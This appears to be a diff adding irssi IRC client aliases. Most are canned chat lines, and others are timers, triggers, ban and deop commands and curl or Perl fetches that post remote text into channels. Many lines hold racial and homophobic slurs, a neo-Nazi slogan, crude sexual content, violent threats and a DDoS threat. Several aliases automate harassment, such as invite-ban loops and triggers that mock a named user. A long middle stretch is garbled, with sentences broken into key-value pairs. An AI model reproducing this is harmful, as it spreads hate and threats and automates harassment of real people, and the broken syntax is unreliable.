+  deppy2 = "/say sad you lost your safe haven?";
+  shaggy3 = "/say didn't get too many places";
+  it = "takes";
+  myself = "to";
+  hams = "/say I love pork rinfs";
+  promise = "/say this is my promise ring to you $0;/say \0030*\0038o";
+  wtf2 = "/say you do realize that all kinds of media is transfered via bittorrent..";
+  odds = "/say .odds ncf *";
+  jokle = "/say hey whats up man why u being so weird dude :)";
+  heatwave = "/say lol: \0030,2LOL IVE MADE IT MY LIFE TO TEACH HEATWAVE?? TO USE YOU'RE INSTEAD OF YOUR WHEN THE TIME IS RIGHT.. PLEASE HELP ME TEACH HER THAT HER WAYS NEED CORRECTING :)";
+  vogeltje3 = "/say thats the horriblest movie ive ever seen";
+  youtube = "/say He needs his dick cut off and shoved down his fucking throat for this... Yeah motherfucker you know you will get that ass stomped if you are seen out ..What a fucking pussy you are !";
+  inviteban = "/timer add t1 2 0 /invite $0 #LOL;/timer add t2 2 0 /mode #lol +b $0!*@*;/timer add t3 2 0 /mode #lol -b $0!*@*";
+  invitechanstop = "/timer stop t1;/timer stop t2;/timer stop t3";
+  invitebanstop = "/timer stop t1;/timer stop t2;/timer stop t3";
+  dynasty = "/mode #1337juice -k;/invite dynasty";
+  evil = "/say  but evil isnt around and i dont know if i should just wait to ask him, but i know you are amazingly powerful too, and i almost think maybe more so";
+  dphase2 = "/say not sure what they dude";
+  window = "/win";
+  lord = "/say Do not seek revenge or bear a grudge against one of your people, but love your neighbor as yourself. I am the LORD. (Leviticus. 19:18). ";
+  revenge = "/say Do not seek revenge or bear a grudge against one of your people, but love your neighbor as yourself. I am the LORD. (Leviticus. 19:18). ";
+  spam = "trigger add -publics -channels '#efnetnews' -regexp '$0' -command 'KN \\$N a'";
+  spam2 = "/say .nflstandings nfc";
+  spam3 = "/say .mlb *";
+  johne2 = "/say himmy is hear to ruin our perfectly good conversation";
+  hetero9 = "/mode #1337juice -k;/invite hetero9";
+  pheco4 = "/say A big part of that $293k profit is from the ruffly 6,700 employees taking a 10% pay reduction and losing their PTO. : (";
+  pheco5 = "/say im not quite shirt";
+  aesop = "/say ban all lamers and tads";
+  other = "12000 0 /msg #LOL \0030,2WHATTUP SON CHECK OUT http://wewt.org/~r0pav for the STATS IN #LOL LOL";
+  shaggy4 = "/say i recall you bashing audiophiles a few months ago";
+  shaggy5 = "/say when discussing flac";
+  homopart = "/part NO HOMO BUT I CAN TELL THE DIFFERENCE BETWEEN A GOOD FAT THICK DICK AND A REGULAR ONE";
+  chan89 = "/say fuck of asshole";
+  turbo = "/say they dump about 200 bottles into the dumbster every half hour";
+  peesex = "/say Im a grown man and id throw you over my knee and beat the fuck out of you like you had stole something from me";
+  pheco6 = "/say is it supposed to tell me i changed my ass or wat";
+  pizza = "/say i somtimes make my girlfriend soak her anus in pizza grease so she gets pimples on her ass and then while giving anul sex to her i pop them. it turns me on";
+  middle = "/me forms a cross of sorts by holding his left arm horizontal and his right arm upward vertically with his middle finger sticking up fully";
+  insect2 = "/say on ic parties all u see is a bunch of dirty heavies moving the long hair up and down";
+  omegle = "/say you are a skinny ugly and black ass";
+  cho = "/say uh;/say i was jackin off;/say cant find my cell;/say where is it";
+  omegle2 = "/say Hauolihiwahiwa Allegra Kawaonaheleopai'i Moniz";
+  chatwithus = "/say !o click this http://chat.efnet.org/irc.cgi?chan=%23LOL";
+  omegle3 = "/say and the copss are on there way to your house :)";
+  analog2 = "/say i hope u get raped by a snale";
+  pinkfloyd = "/say Pink Floyd is slomo techno with some guy talking during";
+  omegle4 = "/say U MO JO BO BICE NICE RICE SOY SAUCE MICE";
+  omegle5 = "/say my dick would rip ur puss in half";
+  gaotse = "/say https://files.getdropbox.com/u/161376/sexy_ass.jpg";
+  kardus = "/say woulda got him sucke dinto rudes if u didnt do the sister shit lol";
+  harry = "/say insult them with something less illegal";
+  scrim = "/say that's what it says on my underware";
+  insect3 = "/say so like, if i buy the swordz maniac version, i'll get 250 gig hdd, 2 controllers, call of duty 2 which i'll buy n e ways = 400";
+  fart = "/say best one so fart";
+  1337spam = "/j #1337juice;/hueg hetty";
+  kewsh2 = "/say heer it comes";
+  buckeyes = "/say Buckeyes gets opped -> kickbans people -> gets bitch slapped by flyer -> no more kb's";
+  wshh9 = "/say Arab Women LAYDOWN with CAMELS ...and Have babies like french montana and DJ khaled ...these Islamic camel fuckers are RACIST TO AFRICANS IN AFRICA and dont hire BLACK people in america !!";
+  omegle6 = "/say does anyone wanna do penis 2 penis?";
+  insect4 = "/say yeah she's got at ignoring";
+  tranny = "/say http://img165.imageshack.us/img165/6677/hpim1777pd5.jpg <- nude tranny tied up";
+  insect5 = "/say same to you fucking insect;/say what the fuck kind of handle is that;/say do you have antenna";
+  syum = "/say .g errantego";
+  get1337 = "stop";
+  gogospam = "/win 2;/exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/random.php'\" 2>/dev/null";
+  nesta = "/join #sexytime;/msg #sexytime timebomb nesta;/part #sexytime";
+  insect6 = "/say Forgot backgammon";
+  hook = "/say hook;/say i;/say m;/say m;/say y";
+  powr2 = "/say broil em";
+  powr3 = "/say better than any fast food joint";
+  powr4 = "/say home cooked burgers can be really good if you know how to cook them";
+  pheco7 = "/say saying to ppl about make monk";
+  bratty = "/say one of your cocksucking whore pumpers got my host klined";
+  insect7 = "/say In oarjking lot";
+  pheco8 = "/say i just got soaked trying to smoke a butt";
+  rape2 = "/say unless my rape improves in the next 5 months, im planning on killing myself on the 8th anniversary of Rosa Parks' death. ";
+  cc = "/say \0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD\0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD\0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD\0034,8COCHRoACH CORNBREAD\0038,4COCHRoACH CORNBREAD";
+  wootoff = "/j #wootoff;/msg #wootoff http://irc.dickscab.com/misslavey/image.jpg";
+  yo = "script exec use Irssi qw(active_win)\\; @n\\; \\$c = Irssi::active_win->{'active'}\\; if (ref(\\$c) =~ /^Irssi::Irc::Channel\\$/) {push @n,\\$_ foreach (\\$c->nicks())\\; \\$c->command(\"msg \" . \\$c->{name} . \" yo \" . \\$n[rand \\@n]->{nick} . \" do you have a min\")\\;}";
+  yo1337 = "/j #1337juice;/yo";
+  yochats = "/j #chats;/yo";
+  yolol = "/j #lol;/yo";
+  talisman = "/say the hole crew is up";
+  deep2 = "/say When you're not wanted, get the message and stay away. People use bncs and shells and vhosts to get in rooms that t My favorite band is Sarah McLachlan";
+  band15 = "/say My favorite band is George Strait";
+  band16 = "/say My favorite band is Cold War Kids";
+  band17 = "/say My favorite band is P-Diddy";
+  band18 = "/say My favorite band is Black People";
+  band19 = "/say My favorite band is Vampire Weekend";
+  band20 = "/say My favorite band is King Crimson";
+  band21 = "/say My favorite band is Bob Dylan";
+  band22 = "/say My favorite band is Fleet Foxes";
+  band23 = "/say My favorite band is Twisted Sister";
+  band24 = "/say My favorite band is Scissor Sisters";
+  band25 = "/say My favorite band is Rufus Wainwright";
+  band26 = "/say My favorite band is Merzbau";
+  band27 = "/say My favorite band is Ravi Shankar";
+  band28 = "/say My favorite band is Wilco";
+  band29 = "/say My favorite band is Tech N9ne";
+  band30 = "/say My favorite band is Ghostface Killah";
+  band31 = "/say My favorite band is Bobby Conn";
+  band32 = "/say My favorite band is Morton Subotnik";
+  band33 = "/say My favorite band is Cole Porter";
+  band34 = "/say My favorite band is The String Cheese Incident";
+  band35 = "/say My favorite band is Eagles of Death Metal";
+  band36 = "/say My favorite band is Polyphonic Spree";
+  band37 = "/say My favorite band is The Faint";
+  band38 = "/say My favorite band is Interpol";
+  band39 = "/say My favorite band is Tegan and Sara";
+  band40 = "/say My favorite band is Erasure";
+  band41 = "/say My favorite band is Le Tigre";
+  band42 = "/say My favorite band is The Gossip";
+  band43 = "/say My favorite band is The Magnetic Fields";
+  band44 = "/say My favorite band is The Doors";
+  band45 = "/say My favorite band is Phish";
+  band46 = "/say My favorite band is Queen";
+  band47 = "/say My favorite band is The Strokes";
+  band48 = "/say My favorite band is Metallica";
+  band49 = "/say My favorite band is Judas Priest";
+  band50 = "/say My favorite band is The Village People";
+  band51 = "/say My favorite band is The Secret Handshake";
+  band52 = "/say My favorite band is The Rolling Stones";
+  band53 = "/say My favorite band is David Bowie";
+  band54 = "/say My favorite band is Frankie Goes to Hollywood";
+  band55 = "/say My favorite band is Man or Astroman";
+  band56 = "/say My favorite band is Richard Cheese";
+  band57 = "/say My favorite band is Jay-Z";
+  band58 = "/say My favorite band is Depeche Mode";
+  band59 = "/say My favorite band is Kansas";
+  band60 = "/say My favorite band is Ani DiFranco";
+  band61 = "/say My favorite band is Fischerspooner";
+  band62 = "/say My favorite band is John Mayer";
+  band63 = "/say My favorite band is Angel Eyes";
+  band64 = "/say My favorite band is The Indigo Girls";
+  band65 = "/say My favorite band is Velvet Underground";
+  band66 = "/say My favorite band is Madonna";
+  band67 = "/say My favorite band is Elton John";
+  band68 = "/say My favorite band is Barry Manilow";
+  band69 = "/say My favorite band is Indigo Girls";
+  band70 = "/say My favorite band is Melissa Etheridge";
+  band71 = "/say My favorite band is Eminmen";
+  band72 = "/say My favorite band is Nirvana";
+  band73 = "/say My favorite band is Boy George";
+  band74 = "/say My favorite band is Jon Brion";
+  band75 = "/say My favorite band is The Killers";
+  band76 = "/say My favorite band is Lou Reed";
+  band77 = "/say My favorite band is Motorhead";
+  band = "/say My favorite band is John Mayer";
+  band1 = "/say My favorite band is Ween";
+  band78 = "/say My favorite band is Jill Sobule";
+  band79 = "/say My favorite band is Wilson Phillips";
+  band80 = "/say My favorite band is DMX";
+  band81 = "/say My favorite bite band is Lil' Kim";
+  band86 = "/say My favorite band is kd lang";
+  band87 = "/say My favorite band is Frank Sinatra";
+  band88 = "/say My favorite band is Hinder";
+  band89 = "/say My favorite band is Nickleback";
+  band90 = "/say My favorite band is Justus Kohncke";
+  band91 = "/say My favorite band is Bob Mould";
+  band92 = "/say My favorite band is Clay Aiken";
+  band93 = "/say My favorite band is Arcade Fire";
+  band94 = "/say My favorite band is Bright Eyes";
+  band95 = "/say My favorite band is Corinne Bailey Rae";
+  band96 = "/say My favorite band is Audioslave";
+  band97 = "/say My favorite band is Red Hot Chili Peppers";
+  band98 = "/say My favorite band is Panic at the Disco";
+  band99 = "/say My favorite band is Spin Doctors";
+  band100 = "/say My favorite band is The Deers";
+  portal = "/say hey portal;/say you're not the only one who wears Ed Hardy; /say I just noticed Michael Jackson is wearing it in the This is It DVD";
+  pokey5 = "/say right Im a retard have a look in the mirror loser";
+  her = "/say http://img.metro.co.uk/i/pix/2007/03/WilliamsFat_175x125.jpg <- $0 chatting from her webcam";
+  coffee = "/say i have my coffee with sugar and lightly flaked pieces of skin from the dark inner flaps of fat peoples puss impacted blackheaded pore-thighs";
+  cockboat = "/say \\\\\037(_(_)=============D\037/ \003<- COCKBOAT";
+  coloron = "/script load /home/r/.irssi/scripts/autorun/lo.pl";
+  coloroff = "/script unload lo.pl";
+  truce = "/say I hearby offer you a truce, my apologies";
+  chan90 = "/say ive never fuckin used irc before dumbass";
+  aliason = "/alias say script exec RAND: my (\\$fg, \\$bg) = (int(rand(14)+2), int(rand(14)+2))\\; goto RAND if \\$fg == \\$bg\\; if (\\$bg < 10) { \\$bg = \"0\\$bg\"\\;} my \\$lol = \"\\003\\$fg,\\$bg\" . q($*)\\; Irssi::active_win->command(\"msg * \\$lol\")\\;";
+  aliasoff = "/alias say msg *";
+  pheco9 = "/say those u pulled a josh wroblem";
+  jigga2 = "/say shutup ^NiGgA^";
+  tila = "/say 1) I have money 2) Im not needy cuz I run my own business 3) I dont have trust issues 4) Im an EXCELLENT LOVER IN BED what more do u need?";
+  tila2 = "/say i have a HUGE heart! When I love someone, you are my love and my life! I love you gently and passionately. Im VERY addicting I must say! heh";
+  tila3 = "/say I like to kiss a lot. Tell u i love you everyday so u dont feel worried. When u have bad days I will caress u & tell u how much I love you..";
+  tila4 = "/say Im just gonna probably end up marrying a woman. Because I KNOW she will love my children as her own. Ok thats resolved! whew! lol";
+  cho2 = "/say yeah man you have such a life sitting in here for the past 4 hours chatting about gay sex and farts";
+  colby = "/say and besides I went to the police station last night at 12 okay, so you thinks I'm going to drop the charges?";
+  colby2 = "/say have fun while your free days last.  After all, I don't play games, and you made 5 death threats towards me.  PEACE HOMES!";
+  germany = "/say yo $0 you know how you said austria and germany were the same country?";
+  prence = "/say my girlfriend was telling me about some chick she went to high school with where she talks about her brothers conviction for child raping and how she cant wait for her baby's daddy to get out of prison";
+  bloodon = "/script load /home/r/.irssi/scripts/autorun/blood.pl";
+  bloodoff = "/script unload blood";
+  steelers = "/say I'm truly sorry for the disappointment and negative attention I've brought to my family, teammates, coaches, the Rooneys, and the NFL. I understand the opportunities I've been  = ";
+  #kb";
+  0 = "phecodiss";
+  phecodiss2 = "/say r mom wasn't that good n bed! How was she when u and ur brother had her?";
+  phecodiss3 = "/say Did you guys see the latest issue of \"Animal Husbandry\" Pheco made the cover. His Mom is proud !";
+  pussy = "/say $0 &  $1 chilling together https://img.buzzfeed.com/buzzfeed-static/static/2014-04/enhanced/webdr08/7/13/enhanced-6738-1396891406-47.jpg";
+  deopinsect = "/deop bubbs- fleury tpb- ss yinzer polka redface penguins malkin molotov graves tnews mybffjill scores;/mode #1337juice +b *!*@*.pp4l.org";
+  truth = "/say just google whatever +conspiracy, to get the real truth";
+  chan91 = "/say bit I don't have something about that stupid cancer head";
+  it2 = "/say burnice i feel so bad about scrim leaving but the truth is he started it and i wasnt about to get out-trolled in front of you";
+  asshole = "/say $0 is a asshole not a w/e #";
+  drake = "/say i know way too many people here right now that i didn't know last year, who the fuck are y'all? i swear it feels like the last few nights we've been everywhere and back, but i just can't remember it all.. what am i doin? what am i doin? \0030\037oh yeah that's right, i'm doin me. i'm doin me. i'm livin life right now mayne, and this is what imma do til it's over, til it's over.. but it's far from over";
+  np = "/say +netplay ascii/wepump.in/$0.txt";
+  horseface = "/say http://hphotos-snc3.fbcdn.net/hs631.snc3/31673_859055588653_10202736_48351762_2485722_n.jpg";
+  cho3 = "/say lol @ u guys making assumptions for kids out of college";
+  cho4 = "/say did i hit a nerve;/say or ?";
+  flyer = "/say .quack;/say .ole;/say .da";
+  smoke = "/say ayo its me $0 aka Yay aka Mister Yayo aka Punch A Niggaz Head In. I like to drink....alot and i jus quit smokin but ill still out-smoke any one. Im dedickated to rappin. I love it. I used to battle niggaz but that shit is boring now but Ill still chew a nigga. Im all bout money and my niggaz.";
+  botban = "/ban *!j@*;/ban *!inkjet@*;/ban *!i@*;/ban *!*@*.pp4l.org";
+  gayhelp = "/gay -help";
+  color = "/gay -1 -fig $0";
+  election = "/say who do you guys think will win? trump or sanders? maybe clinton?";
+  dwaine = "/exec - -out curl -s 'http://p0r.ninja/~v/dwaine.php'";
+  linkin = "/say CRAWLING IN MY SKIN. THESE WOUNDS THEY WILL NOT HEAL. FEAR IS HOW I FALL. CONFUSING WHAT IS REAL.";
+  szat = "/exec - -out curl -s 'http://p0r.ninja/~v/szat.php'";
+  sports = "/say $0 is the type to watch sportscenter and take notes just so he can come back to irc and act like hes informed";
+  grower = "/say $0 has GROWER tattood above his small cock";
+  wb = "/say wb f9c";
+  forget = "/say 14/88 never forget";
+  pittsburgh = "/say Pittsburgh niggas yell out \"I'm from Pittsburgh YINZ!\" before a fight so that when they get amnesia from having the piss beat out of them, the bystanders can remind them where they live.";
+  zee = "/say jesus shit bad guys, you pass////";
+  insect8 = "/say  got him to break charactor";
+  weights = "/say i shattered my floorboards doing push ups";
+  zee2 = "/say <@Zeee> sal is my daytime bitch";
+  newchan = "/say sorry smart ass, is my first time here\\";
+  chans = "/join -window #/join;/join -window #/server";
+  weights2 = "/say when i go to a bar or a house party i always order a protein shake";
+  mother = "/exec - -out curl -s 'http://p0r.ninja/~v/mother.php'";
+  dogshit = "/me throws dogshit in the septic system of RV's to chop up your turds fowload;/hitler;/eslam";
+  pumpinvite = "/say .botcmd e_t invite $0 #penispump";
+  SSH = "window new hidden;window name ssh;exec -name ssh -nosh -interactive -window ssh $-";
+  ryan = "/say <@ryan101-> Vegas killed himself and somebody else because he couldn't stand PP4L. I think Obama should have given him a pardon if he was still";
+  ryan2 = "/say <ryan101-> why does somebody like Vegas have to die and pieces of shit like insect get to live =(";
+  hardball = "/say Racist? Overweight? Unpopular amongst your peers? If you answered yes to any of these, operator status in #hardball on EFNet is the place for you!";
+  zee3 = "/say why do ppl in Florida even have gubs?";
+  lv = "/say last night i had a dream that i was sucking insect's dick but then i woke up and he was sucking my dick";
+  insect9 = "/say i dont blame you for judging me based on a few pics";
+  lump2 = "say $* u dont even know me kid shut the fuck up hidin behind yuor computar id fuckin lump u out if u fronted on me like that in person fukin bitchass littel nerd hidin behind cmputar screen littel pussy i kick ur ass irl fagget";
+  lump3 = "say hey $* dont no wat the fuck im gonna do 2 u fuck if i ever meet u im gonna fucking pound you fuck man if u was u id be soo scared man you should just change schools bcuz on monday im ognna kill u man just run away man just get out of here faggot";
+  lump4 = "say hay fgt ur so lucky u dont no me cuz if i nue were u lived o man u dont even wanna no wat i wud do 2 u shuld be gratful evry day tht i dunno were u liv fgt stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt n every1 wud be glad ur ded u fkn fgt";
+  lump5 = "say $* u fukn hacker i saware im caling the fbi rite now nthey r gona aresst u 4 hhakin rite tmrow n they r gonna brake down ur dore wahen ur slepping @ nite n there gonna point there m16 at ur hed an say plz cum outside or we r gunna hedshot u fgt";
+  lump6 = "say $* i think your full of shit and just a punk ass bitch hiding behind his computer screen";
+  lump7 = "say $* dude if u dont fucken stop runnin ur mouth about my mate im gonanf ucken rub your sheath";
+  lump8 = "say $* no offense or nothing but 1 day id love to fuken walk up to and ounch your binrat in so much ur head would be poping out of ur arse,downy";
+  lump9 = "say $* dude if u dont fucken stop runnin ur mouth about a hobo's brother's uncle im gonanf ucken s about your vas deferens";
+  lumpa = "say $* dude if u dont fucken stop runnin ur mouth about my cousin im gonanf ucken wiggle your cerebral cortex";
+  lumpb = "say $* dude if u dont fucken stop runnin ur mouth about my brother's mom im gonanf ucken pickle your cerebellum";
+  lumpc = "say $* dude if u dont fucken stop runnin ur mouth about my girlfriend im gonanf ucken slice your eyes";
+  lumpd = "say all you fuckers who are talkign shit you are all fucking pussies you didn't fucking know her so don't try saying shit you stupid cunt rags fucking coem to michigan and say that to her friends faces you will get your nerdy fuckign asses handed to you you say shit cause you haev no real friends or your jsut an insecure little fuck who can't fucking get any real friends so fuck you all stephanie was one of the best people in the world";
+  lumpe = "say $* you cant come face to face fucking gonna remember these faces when i see you in th streets i am gonna rip you into peaces that when a doctor sees you he will get confused to weather an animal or human did that to you";
+  lumpf = "say $* u think ur music impresses me? ur w= ";
+  illk = "fucking";
+  you = "terrorist";
+  i = "will";
+  s = "http://gogou.lunarshells.com/nerdman.php";
+  pills = ";\012  gogou = ";
+  out = "which";
+  this = "morning";
+  randomly = "looking";
+  for = "about";
+  to = "do";
+  something = "stupid";
+  or = "figure";
+  and = "she";
+  going = "to";
+  play = "the";
+  devil = "s advocate and go against what they said no matter my real outlook on the subject... the point of this will be to overshadow my bad life by annoying others that are already living contently\";\012  troll2 = \"/say i never use a spell checker, and i send terribly formatted work emails often with numbers used for letters and words. \";\012  troll3 = \"/say ";
+  extremely = "lazy";
+  scope = "projects";
+  that = "take";
+  of = "me";
+  work = "constantly";
+  since = "thats";
+  how = "long";
+  whatever = "stupid";
+  project = "I";
+  "m assigned. I" = "ve";
+  been = "mudding";
+  against = "recently";
+  the = "password";
+  marginally = "well";
+  on = "/set outgmsgs_use_formatting on";
+  have = "this";
+  problem = "with";
+  dont = "view";
+  them = "when";
+  being = "authoritative";
+  late = "to";
+  but = "i";
+  _THAT_ = "late";
+  at = "least";
+  105k = "a";
+  order = "the";
+  most = "expensive";
+  drinks = "to";
+  possibly = "can";
+  get = "away";
+  with = "any";
+  card = "is";
+  even = "remember";
+  then = "just";
+  pour = "out";
+  into = "the";
+  toilet = "exec - -o echo \"$1-\" | toilet -w 100 --irc -f $0";
+  onto = "the";
+  carpet = "just";
+  tab = "higher";
+  can = "break";
+  a = "cool";
+  including = "but";
+  not = "a";
+  TCL = "and";
+  ";\012  insect = " = "insectd";
+  wrote = "my";
+  boke = "to";
+  muscle = "beach";
+  currently = "program";
+  PYTHON = "or";
+  RUBY = "but";
+  if = "i";
+  which = "is";
+  highly = "likely";
+  think = "your";
+  company = "is";
+  hip = "and";
+  intelligent = "one";
+  learn = "any";
+  languages = "in";
+  programmign = "ability";
+  as = "any";
+  there = "like";
+  once = "a";
+  week = ";\012  troll8 = ";
+  anything = "id";
+  just = "break";
+  damn = "thing";
+  one = "to";
+  sit = "on";
+  together = "like";
+  my = "sister";
+  5th = "degree";
+  self = "defense";
+  classes = "to";
+  women = "for";
+  some = "years";
+  couldnt = "take";
+  someone = "here";
+  in = "marc2";
+  7th = "degree";
+  tae = "kwon";
+  shit = "outta";
+  DRUNK = ";\012  troll10 = ";
+  vicsious = "fuckin";
+  machine = "that";
+  whole = "countries";
+  cant = "for";
+  remember = "what";
+  put = "it";
+  what = "the";
+  hell = "it";
+  will = "do";
+  stop = "/say .cq";
+  #$0, which is no big loss to me, to be perfectly honest. the channel lives and dies by me. the only time the stupid place is ever even active outside of a ppv is when i make it active. or th it a small world, but there are consequenses to your actions and some people know more than you doabout life";
+  pokemon = "/say We went out last night for one last hurrah as a big group of friends hunting in a hot spot local park with about 100 otherplayers. We stayed out until 3am, which represented about 8 hours of straight Pokemon Go playing. It was great, but at the end of the night we all kind of agreed it felt like the last great hunt. That by the end of the nigh the game felt line has reached max fun potential... ";
+  sal3 = "/say yeah i was high on cold meds friday and i've been offline since, so yeah im a bit out of the loop";
+  fncy = "/say i've peed into a mason jar and let it stand for days then used it as a barrier for dogs";
+  2016d = "/say post log and ask if you read it troll 2016";
+  2016e = "/say how do i do that troll 2016";
+  en = "/say Listen to Episode 3 of EFNet NEWS here: https://www.youtube.com/watch?v=ib_uIDKF5cU (SUBSCRIBE) and come chat about it in #EFNetnews | Rich people can become a *Patron* here: https://www.patreon.com/efnetnews | Jason Bandy @pp4l on  *twitter* and smiggy999 on *SNAPCHAT* !@%$@!@";
+  trampolines = "/say $0 : YOU EVER JUMP ON TRAMPOLINES IRL OR ?";
+  2016f = "/say spic crew is back for troll 2016";
+  trollf = "/say deployment sign up troll 2016";
+  min = "/say yo $0 you got a min?";
+  mongo = "/say takes balls to tell the world you masturbate your days away";
+  1st = "/say YO BITCH IM THE 1ST UP IN THIS PIECE. RESPECT MY ABILITY TO BE UP EARLY AND CHAT BEFORE YOU COCK SUCKER!!!!!!!!!";
+  haliphax = "/say does the number of channels where you can paste dicks and anti-semitic rhetoric get you some kind of award?";
+  sarah = "/say $0 breaking glasses and toilets is pretty epic, too";
+  off = "/set outgmsgs_use_formatting off";
+  re = "/script load /home/v/.irssi/scripts/autorun/frm_outgmsgs.pl";
+  suf = "/set outgmsgs_suffix  $0";
+  pre = "/set outgmsgs_prefix $0 ";
+  sarah2 = "/say After not being able to or approved by my doctor to engage in penetration sex for 4 months... my vagina is as tight as a virgin";
+  insecta = "/say you think this is slimer's first rodio?";
+  2016g = "/say -i troll 2016";
+  jungleman = "/say  <+Dwaine> btw Jungleman the nick thresw me... but He approves you bigtime";
+  2016h = "/say felicia troll 2016";
+  2016i = "/say cc troll 4/20 2016";
+  insectb = "/say their epic but you dont even know why ";
+  sarah3 = "/say I put steroids on my elbows";
+  insectc = "/say i was thining fish";
+  snitch = "/say any of you have a way of getting a hold of juoef? Jeff bring :) insect";
+  church = "/say god i was just telling a friend of mine from church how much i hate this channel but turns out $0 is actualy kind of cool";
+  2016j = "/say click deny troll 2017";
+  storm = "/say if you had beef with me you coulda just got these hands";
+  storm2 = "/say yeah i should be talking to members from masters of deception";
+  remedy = "/say Remedy u can get the blood from my dick";
+  sajoin = "sajoin";
+  remedy2 = "/say havent spoken to him since GnR concert";
+  acidvegas = "/say spend ALL of his money on electric eels";
+  acidvegas2 = "/say u have a BAN VAP & ACIDVEGAS key on your kb?";
+  sal2 = "/say just talking jez";
+  sal4 = "/say btw i hung out with that fat chick cuz i didnt want to sleep on the floor with 5 guys in a room ";
+  d = "/say you love drama when someoneelse istaking it up the pipe";
+  d2 = "/say y my god what kind of long aϟϟ ping timeout do you have here";
+  lavey = "/say i dont want to tlk about the butthole";
+  lavey2 = "/say some woman;/say accidentally posted pics of her baby's inflamed asshole";
+  lavey3 = "/say my butthole is nicknamed the eye of sauron by my ex";
+  blowfish = "/say you spent 400$ on a ddr pad and you are fat as fuck. i have no douvbt you would waste money on trying to rubttal after i shit on you on skike";
+  acid = "/say im sitting here with scott motherfucking thomas and between us have a half a million dollars in coins";
+  darkmage = "/say dont think that your low-energy soceng effort had any affect on my emotional state";
+  darkmage2 = "/say i havent said anything in a page or 2";
+  darkmage3 = "/say actually mom's on her way into a homeless shelter";
+  darkmage4 = "/say like i said dude u guys are super below my radar";
+  darkmage5 = "/say the irony is my right-hand is mutated";
+  threaddicksuck = "/say  <+thread_> vap0r is that nigga;/say  <+thread_> vap0r is tha man;/say  <+thread_> vap0rs chats have impact";
+  thread3 = "/say now u are going to get ddosed every single weekend, every single one of your ops. you have now got my attention, and you are now in the same boat as storm. if you have one more show im going to down you and anyone who responds in #lrh during the show, anyone who calls in will be taken offline. ill be handling twitch at the same time";
+  fgt = "/say i hate faggots more than i hate war in this world";
+  sharp = "/say <+SharP972> Rip children ;); /say <+SharP972> I raped vap0r x wife";
+  threadquit = "/say threaded wasnt me, idk who was copying my chat dialogue i was currently writing in. but every and kinda boring with 10 people against me and on my side. im too high to deal with shit talk from every angle with 6 people vs me, its overwhelming, i prove myself over and over and  if i stop i have 'no skill' when i just wanna code and talk to people who enjoy le company. im out, pz";
+  threadraps = "/say https://pastebin.com/9HXLdtgq";
+  chronoraps = "/say https://pastebin.com/0SU8WBer";
+  threadquitlog = "/say https://pastebin.com/Dee9WuFA";
+  threadstory = "/threadraps;/chronoraps;/threadquitlog";
+  fuckyou = "/say ᶠᶸᶜᵏ﷽ᵧₒᵤ ᵧₒᵤ💔ᶠᶸᶜᵏ";
+  chang0 = "/say Swear to God";
+  thread4 = "/say i would have freestyled, that wasnt the problem. the problem is vap0r who i kinda thought was an alright guy, lied and said he didn’t care about unbanning me and said I was asking for it after i'd already saw him chatting for an hour afterwards in this channel and actively in ENN. this is just the start of whats to come, be ready";
+  thread5 = "/say l0de is gay and cant come to reality hes gay and keeps trying to date women, with his teacup fuckin dog and gay ass lisp";
+  thread6 = "/say vap0r tell the truth about how you're white and want to be a nigger, he lives in a tent and makes $80 a week making efnet fake news reports";
+  thread7 = "/say youll see though you know where im at, mtw if you wanna get real and fight me, come to my irc and ill meet you whenever, neither of us will use our city. if you arent a pussy mtw- come @ me for real without bullshit, without others chatting. don't pussy out, come fight scared bitch (i have to train) rofl";
+  dc = "/say I'm really not a very nice person. I can say \"I don't care\" with a straight face, and really mean it.";
+  yes6 = "/say agreed";
+  yes7 = "/say i see what you mean";
+  yes8 = "/say fair";
+  yes9 = "/say cant argue with that";
+  yes10 = "/say definitely";
+  yes11 = "/say true ting innit";
+  yes12 = "/say i get u";
+  yes13 = "/say OK real talk";
+  yes14 = "/say never a truer word spoken";
+  yes15 = "/say goddamn right";
+  yes16 = "/say indeed";
+  yes17 = "/say yep yep u rite";
+  yes18 = "/say haha TRUE";
+  yes19 = "/say correct";
+  mimicyes = "/trigger add -publics -masks '$0!*' -command 'script exec Irssi::active_win->command(\"yes\".int(rand(40) + 1).\" \\$M\")'";
+  hi = "/lastlog -hilight";
+  xylia = "/say one day you might learn how to actual flood worth a shit faggot";
+  neuro = "/say stop spam msging me on a i7 with 32gb ram";
+  yes20 = "/say beyond a doubt";
+  yes21 = "/say bruv";
+  yes22 = "/say precisely";
+  yes23 = "/say without fail";
+  yes24 = "/say unquestionably";
+  yes25 = "/say as true as true can be";
+  yes26 = "/say by all means";
+  yes27 = "/say yes. yes. yes.";
+  yes28 = "/say amen";
+  yes29 = "/say fucking agreed";
+  yes30 = "/say praise allah you are correct";
+  yes31 = "/say y e s I AGREE";
+  yes32 = "/say lol so true";
+  yes33 = "/say aye";
+  yes34 = "/say safe";
+  yes35 = "/say innit";
+  yes36 = "/say bet";
+  yes37 = "/say real talk";
+  yes38 = "/say uh.. ya for sure";
+  yes39 = "/say yes yes true";
+  yes40 = "/say oui";
+  jupenicks = "/say \0034JUPED NICKS: \0030chrono, moneytree, slimer, l0de, vapor, vap0r, readerrr, interd0me, jewbird, bj0rn, LRH, CosbyX, acidvegas, pumps, MagicPeen";
+  country = "/say my favorite thing to do is kick mud kuntry to my bones I don't like short cars but i do like big trucks ford but Chevy is second﻿";
+  country2 = "/say I can't to move back down south after college, wherever I go I hope the people are as country and redneck as I am. I need people to go Mud Bogging with.﻿";
+  xylia2 = "/say you updated socks cause vap0r stupid aϟϟ got put on dronebl and others lol";
+  xylia3 = "/say ak you keep this shit up and your ircd is going to turn to complete shit";
+  webscii = "/exec - -out curl -s '$0'";
+  yesreply = "/trigger add -all -masks '$0!*' -command 'script exec Irssi::active_win->command(\"yes\".int(rand(40) + 1).\" \")'";
+  mimicpm = "/trigger add -privmsgs -masks '$1!*@*' -command 'msg -$T $N $M!'";
+  "\0034jupenicks:" = "\0030spoke, chrono, moneytree, slimer, l0de, vapor, vap0r, readerrr, interd0me, jewbird, bj0rn, LRH, CosbyX, acidvegas, pumps, MagicPeen";
